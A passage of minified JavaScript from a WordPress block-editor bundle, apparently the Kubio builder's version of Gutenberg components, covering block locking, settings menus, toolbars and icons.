py(e){return(0,d.useSelect)((t=>{const{canEditBlock:n,canMoveBlock:o,canRemoveBlock:i,canLockBlockType:r,getBlockName:l,getBlockRootClientId:s,getTemplateLock:a}=t(hs),c=s(e),u=n(e),d=o(e,c),p=i(e,c);return{canEdit:u,canMove:d,canRemove:p,canLock:r(l(e)),isContentLocked:"contentOnly"===a(e),isLocked:!u||!d||!p}}),[e])}const hy=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{d:"M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1zm-2.8 0H9.8V7c0-1.2 1-2.2 2.2-2.2s2.2 1 2.2 2.2v3z"})}),gy=["core/navigation"];function fy(e){return e.remove&&e.move?"all":!(!e.remove||e.move)&&"insert"}function my({clientId:e,onClose:t}){const[n,o]=(0,u.useState)({move:!1,remove:!1}),{canEdit:i,canMove:r,canRemove:l}=py(e),{allowsEditLocking:s,templateLock:a,hasTemplateLock:p}=(0,d.useSelect)((t=>{var n,o;const{getBlockName:i,getBlockAttributes:r}=t(hs),l=i(e),s=(0,c.getBlockType)(l);return{allowsEditLocking:gy.includes(l),templateLock:null===(n=r(e))||void 0===n?void 0:n.templateLock,hasTemplateLock:!(null==s||null===(o=s.attributes)||void 0===o||!o.templateLock)}}),[e]),[h,g]=(0,u.useState)(!!a),{updateBlockAttributes:f}=(0,d.useDispatch)(hs),m=Pk(e);(0,u.useEffect)((()=>{o({move:!r,remove:!l,...s?{edit:!i}:{}})}),[i,r,l,s]);const v=Object.values(n).every(Boolean),b=Object.values(n).some(Boolean)&&!v;return(0,Nt.jsx)(ne.Modal,{title:(0,Je.sprintf)(/* translators: %s: Name of the block. */ /* translators: %s: Name of the block. */(0,Je.__)("Lock %s"),m.title),overlayClassName:"block-editor-block-lock-modal",onRequestClose:t,children:(0,Nt.jsxs)("form",{onSubmit:o=>{o.preventDefault(),f([e],{lock:n,templateLock:h?fy(n):void 0}),t()},children:[(0,Nt.jsxs)("fieldset",{className:"block-editor-block-lock-modal__options",children:[(0,Nt.jsx)("legend",{children:(0,Je.__)("Select the features you want to lock")}),(0,Nt.jsx)("ul",{role:"list",className:"block-editor-block-lock-modal__checklist",children:(0,Nt.jsxs)("li",{children:[(0,Nt.jsx)(ne.CheckboxControl,{__nextHasNoMarginBottom:!0,className:"block-editor-block-lock-modal__options-all",label:(0,Je.__)("Lock all"),checked:v,indeterminate:b,onChange:e=>o({move:e,remove:e,...s?{edit:e}:{}})}),(0,Nt.jsxs)("ul",{role:"list",className:"block-editor-block-lock-modal__checklist",children:[s&&(0,Nt.jsxs)("li",{className:"block-editor-block-lock-modal__checklist-item",children:[(0,Nt.jsx)(ne.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,Je.__)("Lock editing"),checked:!!n.edit,onChange:e=>o((t=>({...t,edit:e})))}),(0,Nt.jsx)(ne.Icon,{className:"block-editor-block-lock-modal__lock-icon",icon:n.edit?hy:uy})]}),(0,Nt.jsxs)("li",{className:"block-editor-block-lock-modal__checklist-item",children:[(0,Nt.jsx)(ne.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,Je.__)("Lock movement"),checked:n.move,onChange:e=>o((t=>({...t,move:e})))}),(0,Nt.jsx)(ne.Icon,{className:"block-editor-block-lock-modal__lock-icon",icon:n.move?hy:uy})]}),(0,Nt.jsxs)("li",{className:"block-editor-block-lock-modal__checklist-item",children:[(0,Nt.jsx)(ne.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,Je.__)("Lock removal"),checked:n.remove,onChange:e=>o((t=>({...t,remove:e})))}),(0,Nt.jsx)(ne.Icon,{className:"block-editor-block-lock-modal__lock-icon",icon:n.remove?hy:uy})]})]})]})}),p&&(0,Nt.jsx)(ne.ToggleControl,{__nextHasNoMarginBottom:!0,className:"block-editor-block-lock-modal__template-lock",label:(0,Je.__)("Apply to all blocks inside"),checked:h,disabled:n.move&&!n.remove,onChange:()=>g(!h)})]}),(0,Nt.jsxs)(ne.Flex,{className:"block-editor-block-lock-modal__actions",justify:"flex-end",expanded:!1,children:[(0,Nt.jsx)(ne.FlexItem,{children:(0,Nt.jsx)(ne.Button,{variant:"tertiary",onClick:t,__next40pxDefaultSize:!0,children:(0,Je.__)("Cancel")})}),(0,Nt.jsx)(ne.FlexItem,{children:(0,Nt.jsx)(ne.Button,{variant:"primary",type:"submit",__next40pxDefaultSize:!0,children:(0,Je.__)("Apply")})})]})]})})}function vy({clientId:e}){const{canLock:t,isLocked:n}=py(e),[o,i]=(0,u.useReducer)((e=>!e),!1);if(!t)return null;const r=n?(0,Je.__)("Unlock"):(0,Je.__)("Lock");return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.MenuItem,{icon:n?uy:dy,onClick:i,"aria-expanded":o,"aria-haspopup":"dialog",children:r}),o&&(0,Nt.jsx)(my,{clientId:e,onClose:i})]})}function by({clientId:e}){const{canLock:t,isLocked:n}=py(e),[o,i]=(0,u.useReducer)((e=>!e),!1),r=(0,u.useRef)(!1);if((0,u.useEffect)((()=>{n&&(r.current=!0)}),[n]),!n&&!r.current)return null;let l=n?(0,Je.__)("Unlock"):(0,Je.__)("Lock");return!t&&n&&(l=(0,Je.__)("Locked")),(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.ToolbarGroup,{className:"block-editor-block-lock-toolbar",children:(0,Nt.jsx)(ne.ToolbarButton,{disabled:!t,icon:n?hy:uy,label:l,onClick:i,"aria-expanded":o,"aria-haspopup":"dialog"})}),o&&(0,Nt.jsx)(my,{clientId:e,onClose:i})]})}const ky=()=>{};function _y({clientId:e,onToggle:t=ky}){const{blockType:n,mode:o,isCodeEditingEnabled:i}=(0,d.useSelect)((t=>{const{getBlock:n,getBlockMode:o,getSettings:i}=t(hs),r=n(e);return{mode:o(e),blockType:r?(0,c.getBlockType)(r.name):null,isCodeEditingEnabled:i().codeEditingEnabled}}),[e]),{toggleBlockMode:r}=(0,d.useDispatch)(hs);if(!n||!(0,c.hasBlockSupport)(n,"html",!0)||!i)return null;const l="visual"===o?(0,Je.__)("Edit as HTML"):(0,Je.__)("Edit visually");return(0,Nt.jsx)(ne.MenuItem,{onClick:()=>{r(e),t()},children:l})}function yy({clientId:e,onClose:t}){const{templateLock:n,isLockedByParent:o,isEditingAsBlocks:i}=(0,d.useSelect)((t=>{const{getContentLockingParent:n,getTemplateLock:o,getTemporarilyEditingAsBlocks:i}=ge(t(hs));return{templateLock:o(e),isLockedByParent:!!n(e),isEditingAsBlocks:i()===e}}),[e]),r=(0,d.useDispatch)(hs),l=!o&&"contentOnly"===n;if(!l&&!i)return null;const{modifyContentLockBlock:s}=ge(r);return!i&&l&&(0,Nt.jsx)(ne.MenuItem,{onClick:()=>{s(e),t()},children:(0,Je._x)("Modify","Unlock content locked blocks")})}const{Fill:xy,Slot:Sy}=(0,ne.createSlotFill)("BlockSettingsMenuControls");function wy({...e}){return(0,Nt.jsx)(ne.__experimentalStyleProvider,{document,children:(0,Nt.jsx)(xy,{...e})})}wy.Slot=({fillProps:e,clientIds:t=null,__unstableDisplayLocation:n})=>{const{selectedBlocks:o,selectedClientIds:i,isContentOnly:r}=(0,d.useSelect)((e=>{const{getBlockNamesByClientId:n,getSelectedBlockClientIds:o,getBlockEditingMode:i}=e(hs),r=null!==t?t:o();return{selectedBlocks:n(r),selectedClientIds:r,isContentOnly:"contentOnly"===i(r[0])}}),[t]),{canLock:l}=py(i[0]),s=1===i.length&&l&&!r,a=ny(i),{isGroupable:c,isUngroupable:u}=a,p=c||u;return(0,Nt.jsx)(Sy,{fillProps:{...e,__unstableDisplayLocation:n,selectedBlocks:o,selectedClientIds:i},children:t=>!(null!=t&&t.length)>0&&!p&&!s?null:(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsxs)(ne.MenuGroup,{children:[p&&(0,Nt.jsx)(cy,{...a,onClose:null==e?void 0:e.onClose}),s&&(0,Nt.jsx)(vy,{clientId:i[0]})]}),(0,Nt.jsxs)(ne.MenuGroup,{children:[!1,t,1===i.length&&(0,Nt.jsx)(yy,{clientId:i[0],onClose:null==e?void 0:e.onClose}),1===(null==e?void 0:e.count)&&(0,Nt.jsx)(_y,{clientId:null==e?void 0:e.firstBlockClientId,onToggle:null==e?void 0:e.onClose})]})]})})};const Cy=wy,By=function({clientId:e}){const t=(0,d.useSelect)((t=>t(hs).getBlock(e)),[e]),{replaceBlocks:n}=(0,d.useDispatch)(hs);return t&&"core/html"===t.name?(0,Nt.jsx)(ne.MenuItem,{onClick:()=>n(e,(0,c.rawHandler)({HTML:(0,c.getBlockContent)(t)})),children:(0,Je.__)("Convert to Blocks","kubio")}):null},{Fill:Iy,Slot:jy}=(0,ne.createSlotFill)("__unstableBlockSettingsMenuFirstItem");Iy.Slot=jy;const Ey=Iy,Ty={className:"block-editor-block-settings-menu__popover",placement:"bottom-start"};function Py({blocks:e,onCopy:t,label:n}){const o=(0,p.useCopyToClipboard)((()=>(0,c.serialize)(e)),t),i=n||(0,Je.__)("Copy","kubio");return(0,Nt.jsx)(ne.MenuItem,{ref:o,children:i})}function My({parentClientId:e,parentBlockType:t}){const{selectBlock:n}=(0,d.useDispatch)(hs),o=(0,u.useRef)();return(0,Nt.jsx)(ne.MenuItem,{ref:o,icon:(0,Nt.jsx)(Fa,{icon:t.icon}),onClick:()=>n(e),children:(0,Je.sprintf)(/* translators: %s: Name of the block's parent. */ /* translators: %s: Name of the block's parent. */(0,Je.__)("Select parent block (%s)","kubio"),t.title)})}function Ry({block:e,clientIds:t,__experimentalSelectBlock:n,children:o,__unstableDisplayLocation:i,...r}){const l=null==e?void 0:e.clientId,s=Array.isArray(t)?t:[t],a=s.length,h=s[0],{firstParentClientId:g,onlyBlock:f,parentBlockType:m,previousBlockClientId:v,selectedBlockClientIds:b}=(0,d.useSelect)((e=>{const{getBlockCount:t,getBlockName:n,getBlockRootClientId:o,getPreviousBlockClientId:i,getSelectedBlockClientIds:r,getBlockAttributes:l}=e(hs),{getActiveBlockVariation:s}=e(c.store),a=o(h),u=a&&n(a);return{firstParentClientId:a,onlyBlock:1===t(a),parentBlockType:a&&(s(u,l(a))||(0,c.getBlockType)(u)),previousBlockClientId:i(h),selectedBlockClientIds:r()}}),[h]),{getBlockOrder:k,getSelectedBlockClientIds:_}=(0,d.useSelect)(hs),y=(0,d.useSelect)((e=>ge(e(hs)).getOpenedBlockSettingsMenu()),[]),{setOpenedBlockSettingsMenu:x}=ge((0,d.useDispatch)(hs)),S=(0,d.useSelect)((e=>{const{getShortcutRepresentation:t}=e(hp.store);return{duplicate:t("core/block-editor/duplicate"),remove:t("core/block-editor/remove"),insertAfter:t("core/block-editor/insert-after"),insertBefore:t("core/block-editor/insert-before")}}),[]),w=(0,hp.__unstableUseShortcutEventMatch)(),C=b.length>0,B=(0,u.useCallback)((async e=>{if(n){const t=await e;t&&t[0]&&n(t[0],!1)}}),[n]),I=(0,u.useCallback)((()=>{if(n){let e=v||g;e||(e=k()[0]);const t=C&&0===_().length;n(e,t)}}),[n,v,g,k,C,_]),j=null==b?void 0:b.includes(g);return(0,u.useCallback)((e=>{e&&y!==l?x(l):!e&&y&&y===l&&x(void 0)}),[l,y,x]),(0,Nt.jsx)(ty,{clientIds:t,__experimentalUpdateSelection:!n,children:({canCopyStyles:e,canDuplicate:n,canInsertDefaultBlock:l,canMove:s,canRemove:c,onDuplicate:d,onInsertAfter:v,onInsertBefore:b,onRemove:k,onCopy:_,onPasteStyles:y,onMoveTo:C,blocks:E})=>{const T=!!E.find((e=>{var t;return null==e||null===(t=e.name)||void 0===t?void 0:t.startsWith("kubio/")}));return(0,Nt.jsx)(ne.DropdownMenu,{icon:ws,label:(0,Je.__)("Options","kubio"),className:"block-editor-block-settings-menu",popoverProps:Ty,noIcons:!0,menuProps:{onKeyDown(e){e.defaultPrevented||(w("core/block-editor/remove",e)&&c?(e.preventDefault(),I(k())):w("core/block-editor/duplicate",e)&&n?(e.preventDefault(),B(d())):w("core/block-editor/insert-after",e)&&l?(e.preventDefault(),x(void 0),v()):w("core/block-editor/insert-before",e)&&l&&(e.preventDefault(),x(void 0),b()))}},...r,children:({onClose:r})=>(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsxs)(ne.MenuGroup,{children:[(0,Nt.jsx)(Ey.Slot,{fillProps:{onClose:r}}),!j&&!!g&&(0,Nt.jsx)(My,{parentClientId:g,parentBlockType:m}),1===a&&(0,Nt.jsx)(By,{clientId:h}),n&&(0,Nt.jsx)(ne.MenuItem,{onClick:(0,p.pipe)(r,d,B),shortcut:S.duplicate,children:(0,Je.__)("Duplicate","kubio")}),l&&(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(ne.MenuItem,{onClick:(0,p.pipe)(r,b),shortcut:S.insertBefore,children:(0,Je.__)("Add before","kubio")}),(0,Nt.jsx)(ne.MenuItem,{onClick:(0,p.pipe)(r,v),shortcut:S.insertAfter,children:(0,Je.__)("Add after","kubio")})]})]}),e&&!T&&(0,Nt.jsxs)(ne.MenuGroup,{children:[(0,Nt.jsx)(Py,{blocks:E,onCopy:_,label:(0,Je.__)("Copy styles","kubio")}),(0,Nt.jsx)(ne.MenuItem,{onClick:y,children:(0,Je.__)("Paste styles","kubio")})]}),(0,Nt.jsx)(Cy.Slot,{fillProps:{onClose:r,canMove:s,onMoveTo:C,onlyBlock:f,count:a,firstBlockClientId:h},clientIds:t,__unstableDisplayLocation:i}),"function"==typeof o?o({onClose:r}):u.Children.map((e=>(0,u.cloneElement)(e,{onClose:r}))),c&&(0,Nt.jsx)(ne.MenuGroup,{children:(0,Nt.jsx)(ne.MenuItem,{onClick:(0,p.pipe)(r,k,I),shortcut:S.remove,children:(0,Je.__)("Delete","kubio")})})]})})}})}const Ny=Ry,Ay=function({clientIds:e,...t}){return(0,Nt.jsx)(ne.ToolbarGroup,{children:(0,Nt.jsx)(ne.ToolbarItem,{children:n=>(0,Nt.jsx)(Ny,{clientIds:e,toggleProps:n,...t})})})};function Ly({clientIds:e}){const t=1===e.length?e[0]:void 0,n=(0,d.useSelect)((e=>!!t&&"html"===e(hs).getBlockMode(t)),[t]),{toggleBlockMode:o}=(0,d.useDispatch)(hs);return n?(0,Nt.jsx)(ne.ToolbarGroup,{children:(0,Nt.jsx)(ne.ToolbarButton,{onClick:()=>{o(t)},children:(0,Je.__)("Edit visually","kubio")})}):null}const Dy=(0,u.createContext)("");function Oy(e){return Array.from(e.querySelectorAll("[data-toolbar-item]:not([disabled])"))}function zy(e){return e.contains(e.ownerDocument.activeElement)}function Fy({children:e,focusOnMount:t,focusEditorOnEscape:n=!1,shouldUseKeyboardFocusShortcut:o=!0,__experimentalInitialIndex:i,__experimentalOnIndexChange:r,orientation:l="horizontal",...s}){const a=(0,u.useRef)(),c=function(e){const[t,n]=(0,u.useState)(!0),o=(0,u.useCallback)((()=>{const t=!Cp.focus.tabbable.find(e.current).some((e=>!("toolbarItem"in e.dataset)));t||Ye()("Using custom components as toolbar controls",{since:"5.6",alternative:"ToolbarItem, ToolbarButton or ToolbarDropdownMenu components",link:"https://developer.wordpress.org/block-editor/components/toolbar-button/#inside-blockcontrols"}),n(t)}),[e]);return(0,u.useLayoutEffect)((()=>{const t=new window.MutationObserver(o);return t.observe(e.current,{childList:!0,subtree:!0}),()=>t.disconnect()}),[o,t,e]),t}(a);return function({toolbarRef:e,focusOnMount:t,isAccessibleToolbar:n,defaultIndex:o,onIndexChange:i,shouldUseKeyboardFocusShortcut:r,focusEditorOnEscape:l}){const[s]=(0,u.useState)(t),[a]=(0,u.useState)(o),c=(0,u.useCallback)((()=>{!function(e){const[t]=Cp.focus.tabbable.find(e);t&&t.focus({preventScroll:!0})}(e.current)}),[e]);(0,hp.useShortcut)("core/block-editor/focus-toolbar",(()=>{r&&c()})),(0,u.useEffect)((()=>{s&&c()}),[n,s,c]),(0,u.useEffect)((()=>{const t=e.current;let n=0;return s||zy(t)||(n=window.requestAnimationFrame((()=>{const e=Oy(t),n=a||0;e[n]&&zy(t)&&e[n].focus({preventScroll:!0})}))),()=>{if(window.cancelAnimationFrame(n),!i||!t)return;const e=Oy(t).findIndex((e=>0===e.tabIndex));i(e)}}),[a,s,i,e]);const{getLastFocus:p}=ge((0,d.useSelect)(hs));(0,u.useEffect)((()=>{const t=e.current;if(l){const e=e=>{const t=p();e.keyCode===sd.ESCAPE&&null!=t&&t.current&&(e.preventDefault(),t.current.focus())};return t.addEventListener("keydown",e),()=>{t.removeEventListener("keydown",e)}}}),[l,p,e])}({toolbarRef:a,focusOnMount:t,defaultIndex:i,onIndexChange:r,isAccessibleToolbar:c,shouldUseKeyboardFocusShortcut:o,focusEditorOnEscape:n}),c?(0,Nt.jsx)(ne.Toolbar,{label:s["aria-label"],ref:a,orientation:l,...s,children:e}):(0,Nt.jsx)(ne.NavigableMenu,{orientation:l,role:"toolbar",ref:a,...s,children:e})}function Vy(e="default"){var t;const n=null===(t=L_[e])||void 0===t?void 0:t.Slot,o=(0,ne.__experimentalUseSlotFills)(null==n?void 0:n.__unstableName);return n?!(null==o||!o.length):(!0===globalThis.SCRIPT_DEBUG&&Zg()(`Unknown BlockControls group "${e}" provided.`),null)}function Hy({hideDragHandle:e,focusOnMount:t,__experimentalInitialIndex:n,__experimentalOnIndexChange:o,variant:i="unstyled",isSimpleMode:r=!1}){const{blockClientId:l,blockClientIds:s,isContentOnlyEditingMode:a,isDefaultEditingMode:h,blockType:g,toolbarKey:f,shouldShowVisualToolbar:m,showParentSelector:v,isUsingBindings:b,hasParentPattern:k,hasContentOnlyLocking:_}=(0,d.useSelect)((e=>{var t,n;const{getBlockName:o,getBlockMode:i,getBlockParents:r,getSelectedBlockClientIds:l,isBlockValid:s,getBlockEditingMode:a,getBlockAttributes:u,getBlockParentsByBlockName:d,getTemplateLock:p}=e(hs),h=l(),g=h[0],f=r(g),m=f[f.length-1],v=o(m),b=(0,c.getBlockType)(v),k=a(g),_="default"===k,y=o(g),x=h.every((e=>s(e))),S=h.every((e=>"visual"===i(e))),w=h.every((e=>{var t,n;return!(null===(t=u(e))||void 0===t||null===(n=t.metadata)||void 0===n||!n.bindings)})),C=h.every((e=>d(e,"core/block",!0).length>0)),B=(null===(t=e(Vt.STORE_KEY))||void 0===t||null===(n=t.getKubioEditorModeIsSimple)||void 0===n?void 0:n.call(t))||!1,I=h.some((e=>"contentOnly"===p(e)));return{blockClientId:g,blockClientIds:h,isContentOnlyEditingMode:"contentOnly"===k,isDefaultEditingMode:_,blockType:g&&(0,c.getBlockType)(y),shouldShowVisualToolbar:x&&S,toolbarKey:`${g}${m}`,showParentSelector:!B&&b&&"default"===a(m)&&(0,c.hasBlockSupport)(b,"__experimentalParentSelector",!0)&&1===h.length&&_,isUsingBindings:w,hasParentPattern:C,hasContentOnlyLocking:I}}),[]),y=(0,u.useRef)(null),x=(0,u.useRef)(),S=!(0,p.useViewportMatch)("medium","<");if(!function(){const{isToolbarEnabled:e,isDefaultEditingMode:t}=(0,d.useSelect)((e=>{const{getBlockEditingMode:t,getBlockName:n,getBlockSelectionStart:o}=e(hs),i=o(),r=i&&(0,c.getBlockType)(n(i));return{isToolbarEnabled:r&&(0,c.hasBlockSupport)(r,"__experimentalToolbar",!0),isDefaultEditingMode:"default"===t(i)}}),[]),n=function(){let e=!1;for(const t in L_)Vy(t)&&(e=!0);return e}();return!(!e||!t&&!n)}())return null;const w=s.length>1,C=(0,c.isReusableBlock)(g)||(0,c.isTemplatePart)(g),B=ms("block-editor-block-contextual-toolbar",{"has-parent":v}),I=ms("block-editor-block-toolbar",{"is-synced":C,"is-connected":b});return(0,Nt.jsx)(Fy,{focusEditorOnEscape:!0,className:B/* translators: accessibility text for the block toolbar */,"aria-label":(0,Je.__)("Block tools","kubio"),variant:"toolbar"===i?void 0:i,focusOnMount:t,__experimentalInitialIndex:n,__experimentalOnIndexChange:o,children:(0,Nt.jsxs)("div",{ref:y,className:I,children:[!w&&S&&h&&!r&&(0,Nt.jsx)(c_,{}),(m||w)&&(h||a&&!k||C)&&(0,Nt.jsx)("div",{ref:x,children:(0,Nt.jsxs)(ne.ToolbarGroup,{className:"block-editor-block-toolbar__block-controls",children:[(0,Nt.jsx)(A_,{clientIds:s,disabled:!h,isUsingBindings:b}),h&&(0,Nt.jsxs)(Nt.Fragment,{children:[!w&&(0,Nt.jsx)(by,{clientId:l}),(0,Nt.jsx)(a_,{clientIds:s,hideDragHandle:e})]})]})}),!_&&m&&w&&(0,Nt.jsx)(ay,{}),m&&(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)(H_.Slot,{group:"parent",className:"block-editor-block-toolbar__slot"}),(0,Nt.jsx)(H_.Slot,{group:"block",className:"block-editor-block-toolbar__slot"}),(0,Nt.jsx)(H_.Slot,{className:"block-editor-block-toolbar__slot"}),(0,Nt.jsx)(H_.Slot,{group:"inline",className:"block-editor-block-toolbar__slot"}),(0,Nt.jsx)(H_.Slot,{group:"other",className:"block-editor-block-toolbar__slot"}),(0,Nt.jsx)(Dy.Provider,{value:null==g?void 0:g.name,children:(0,Nt.jsx)(U_.Slot,{})})]}),(0,Nt.jsx)(Ly,{clientIds:s}),h&&(0,Nt.jsx)(Ay,{clientIds:s})]})},f)}function Gy({hideDragHandle:e,variant:t,isSimpleMode:n}){return(0,Nt.jsx)(Hy,{hideDragHandle:e,variant:t,focusOnMount:void 0,__experimentalInitialIndex:void 0,__experimentalOnIndexChange:void 0,isSimpleMode:n})}function $y({clientId:e,isTyping:t,__unstableContentRef:n}){const{capturingClientId:o,isInsertionPointVisible:i,lastClientId:r}=Zk(e),l=(0,u.useRef)();(0,u.useEffect)((()=>{l.current=void 0}),[e]);const{stopTyping:s}=(0,d.useDispatch)(hs),a=(0,u.useRef)(!1);(0,hp.useShortcut)("core/block-editor/focus-toolbar",(()=>{a.current=!0,s(!0)})),(0,u.useEffect)((()=>{a.current=!1}));const c=o||e,p=Kk({contentElement:null==n?void 0:n.current,clientId:c}),{isSimpleMode:h}=(0,d.useSelect)((e=>{var t,n;return{isSimpleMode:(null===(t=e(Vt.STORE_KEY))||void 0===t||null===(n=t.getKubioEditorModeIsSimple)||void 0===n?void 0:n.call(t))||!1}}),[]);return(0,Nt.jsx)(rk,{clientId:c,bottomClientId:r,className:ms("block-editor-block-list__block-popover",{"is-insertion-point-visible":i}),resize:!1,...p,children:(0,Nt.jsx)(Hy,{focusOnMount:a.current,__experimentalInitialIndex:l.current,__experimentalOnIndexChange:e=>{l.current=e},isSimpleMode:h,variant:"toolbar"})})}const Uy=(0,u.forwardRef)((function({clientId:e,rootClientId:t},n){const o=(0,d.useSelect)((n=>{var o;const{getBlock:i,getBlockIndex:r,hasBlockMovingClientId:l,getBlockListSettings:s,__unstableGetEditorMode:a,getNextBlockClientId:u,getPreviousBlockClientId:d,canMoveBlock:p}=n(hs),{getActiveBlockVariation:h,getBlockType:g}=n(c.store),f=r(e),{name:m,attributes:v}=i(e),b=g(m),k=null===(o=s(t))||void 0===o?void 0:o.orientation,_=h(m,v);return{blockMovingMode:l(),editorMode:a(),icon:(null==_?void 0:_.icon)||b.icon,label:(0,c.__experimentalGetAccessibleBlockLabel)(b,v,f+1,k),canMove:p(e,t),getNextBlockClientId:u,getPreviousBlockClientId:d}}),[e,t]),{label:i,icon:r,blockMovingMode:l,editorMode:s,canMove:a}=o,{setNavigationMode:p,removeBlock:h}=(0,d.useDispatch)(hs);(0,u.useEffect)((()=>{"navigation"===s&&(n.current.focus(),(0,br.speak)(i))}),[i,s]);const g=bd(e),{hasBlockMovingClientId:f,getBlockIndex:m,getBlockRootClientId:v,getClientIdsOfDescendants:b,getSelectedBlockClientId:k,getMultiSelectedBlocksEndClientId:_,getPreviousBlockClientId:y,getNextBlockClientId:x}=(0,d.useSelect)(hs),{selectBlock:S,clearSelectedBlock:w,setBlockMovingClientId:C,moveBlockToPosition:B}=(0,d.useDispatch)(hs),I=ms("block-editor-block-list__block-selection-button",{"is-block-moving-mode":!!l}),j=(0,Je.__)("Drag"),E=a&&"navigation"===s;return(0,Nt.jsx)("div",{className:I,children:(0,Nt.jsxs)(ne.Flex,{justify:"center",className:"block-editor-block-list__block-selection-button__content",children:[(0,Nt.jsx)(ne.FlexItem,{children:(0,Nt.jsx)(Fa,{icon:r,showColors:!0})}),E&&(0,Nt.jsx)(ne.FlexItem,{children:(0,Nt.jsx)(Yk,{clientIds:[e],children:e=>(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,icon:zd,className:"block-selection-button_drag-handle",label:j,tabIndex:"-1",...e})})}),"navigation"===s&&(0,Nt.jsx)(ne.FlexItem,{children:(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!1,ref:n,onClick:"navigation"===s?()=>p(!1):void 0,onKeyDown:function(t){const{keyCode:n}=t,o=n===sd.UP,i=n===sd.DOWN,r=n===sd.LEFT,l=n===sd.RIGHT,s=n===sd.TAB,a=n===sd.ESCAPE,c=n===sd.ENTER,u=n===sd.SPACE,d=t.shiftKey;if(n===sd.BACKSPACE||n===sd.DELETE)return h(e),void t.preventDefault();const p=k(),I=_(),j=y(I||p),E=x(I||p),T=s&&d||o,P=s&&!d||i,M=r,R=l;let N;if(T)N=j;else if(P)N=E;else if(M){var A;N=null!==(A=v(p))&&void 0!==A?A:p}else if(R){var L;N=null!==(L=b(p)[0])&&void 0!==L?L:p}const D=f();if(a&&D&&!t.defaultPrevented&&(C(null),t.preventDefault()),(c||u)&&D){const e=v(D),t=v(p),n=m(D);let o=m(p);n<o&&e===t&&(o-=1),B(D,e,t,o),S(D),C(null)}if((!D||p!==D||!R)&&(P||T||M||R))if(N)t.preventDefault(),S(N);else if(s&&p){let e;if(P){e=g;do{e=Cp.focus.tabbable.findNext(e)}while(e&&g.contains(e));e||(e=g.ownerDocument.defaultView.frameElement,e=Cp.focus.tabbable.findNext(e))}else e=Cp.focus.tabbable.findPrevious(g);e&&(t.preventDefault(),e.focus(),w())}},label:i,showTooltip:!1,className:"block-selection-button_select-button",children:(0,Nt.jsx)(hd,{clientId:e,maximumLength:35})})})]})})})),Wy=(0,u.forwardRef)((function({clientId:e,__unstableContentRef:t},n){const{capturingClientId:o,isInsertionPointVisible:i,lastClientId:r,rootClientId:l}=Zk(e),s=Kk({contentElement:null==t?void 0:t.current,clientId:e});return(0,Nt.jsx)(ik,{clientId:o||e,bottomClientId:r,className:ms("block-editor-block-list__block-popover",{"is-insertion-point-visible":i}),resize:!1,...s,children:(0,Nt.jsx)(Uy,{ref:n,clientId:e,rootClientId:l})})})),Ky=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z"})}),Zy=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z"})}),qy=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/SVG",children:(0,Nt.jsx)(Rt.Path,{d:"M17.192 6.75L15.47 5.03l1.06-1.06 3.537 3.53-3.537 3.53-1.06-1.06 1.723-1.72h-3.19c-.602 0-.993.202-1.28.498-.309.319-.538.792-.695 1.383-.13.488-.222 1.023-.296 1.508-.034.664-.116 1.413-.303 2.117-.193.721-.513 1.467-1.068 2.04-.575.594-1.359.954-2.357.954H4v-1.5h4.003c.601 0 .993-.202 1.28-.498.308-.319.538-.792.695-1.383.149-.557.216-1.093.288-1.662l.039-.31a9.653 9.653 0 0 1 .272-1.653c.193-.722.513-1.467 1.067-2.04.576-.594 1.36-.954 2.358-.954h3.19zM8.004 6.75c.8 0 1.46.23 1.988.628a6.24 6.24 0 0 0-.684 1.396 1.725 1.725 0 0 0-.024-.026c-.287-.296-.679-.498-1.28-.498H4v-1.5h4.003zM12.699 14.726c-.161.459-.38.94-.684 1.396.527.397 1.188.628 1.988.628h3.19l-1.722 1.72 1.06 1.06L20.067 16l-3.537-3.53-1.06 1.06 1.723 1.72h-3.19c-.602 0-.993-.202-1.28-.498a1.96 1.96 0 0 1-.024-.026z"})}),Yy=[];function Xy(e){return(0,Nt.jsx)(ne.ToolbarGroup,{children:(0,Nt.jsx)(ne.ToolbarButton,{...e})})}function Qy({clientId:e,as:t=Xy}){const{categories:n,patterns:o,patternName:i}=(0,d.useSelect)((t=>{var n,o;const{getBlockAttributes:i,getBlockRootClientId:r,__experimentalGetAllowedPatterns:l}=t(hs),s=i(e),a=(null==s||null===(n=s.metadata)||void 0===n?void 0:n.categories)||Yy,c=null==s||null===(o=s.metadata)||void 0===o?void 